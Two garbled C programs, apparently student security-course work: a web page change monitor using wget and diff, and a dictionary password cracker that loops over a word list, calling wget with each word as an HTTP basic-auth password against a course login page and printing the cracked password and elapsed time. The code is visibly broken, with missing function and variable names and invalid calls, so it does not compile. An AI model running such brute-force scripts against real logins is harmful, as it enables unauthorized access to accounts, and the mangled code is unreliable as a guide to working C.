#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
  FILE *fh,*fp,*fp1,*d;
  char
  [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
  sleep(60*60*24);
  system("wget http://www.cs.rmit.edu./students");
  if(system==0)
  {
   printf("File stored");
  }
  strcpy(filename,"index.html"); 
  if((fh=fopen(filename,"r"))==NULL)
  {
   printf("cannot open file\n");
   exit(1);
  }
  fp=fopen("index.txt","r");
  fp1=fopen("index1.txt","r");
 
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  {
    fread(p,sizeof(PassString),sizeof(PassString),fh);
    printf(" contents %s\n",p);
    while((f1!=EOF) || (f2!=EOF))
    {
     f1=getc(fp);
     f2=getc(fp1);
     if(f1<f2)
     {
     strcpy(,p);
     fp=fopen("index.txt","r+b");
     fputs(,fp);
     fflush(fp); 
     fclose(fp); 
    }
    else
    {
      strcpy(temp1,p);
      fp1=fopen("index1.txt","r+b");
      fputs(temp1,fp1);
      fflush(fp1);
      fclose(fp1);
    }
    }
    if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
    {
      d=fopen("Diff.txt","r");
      if((fgets(,sizeof(),d))!=NULL)
      {
        printf("The difference between  exist");
	system("Mail \r\n Difference");
      }
      
    }
  }
 return 0;
  }

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>

int ()
{

 int m,n,o,i;
 time_t u1,u2;
 char v[3];
 char temp1[100];
 char temp2[100];
 char temp3[250];
 FILE *fin1;
 
 char point[25];
  fin1=fopen("./words.txt","r");
  
  if(fin1==NULL)
  {
   printf(" open the file ");
   exit(0);
  } 
  

 strcpy(temp2," --http-user= --http-passwd=");
 strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
 
   strcpy(temp3,"");
   
   (void) time(&u1); 
   
   while(!feof(fin1))  
   {
    
    fgets(point,25,fin1);
    if(strlen(point)<=4)
    {
   
    
    strcpy(temp3,temp1);
    strcat(temp3,temp2);
     strcat(temp3,point);
    printf("\nSending the  %s\n",temp3);
    i=system(temp3);  
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",point);
	 printf("\n\nThe time_var taken  crack the passwork is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   
   
    }
  }
   
  
}  
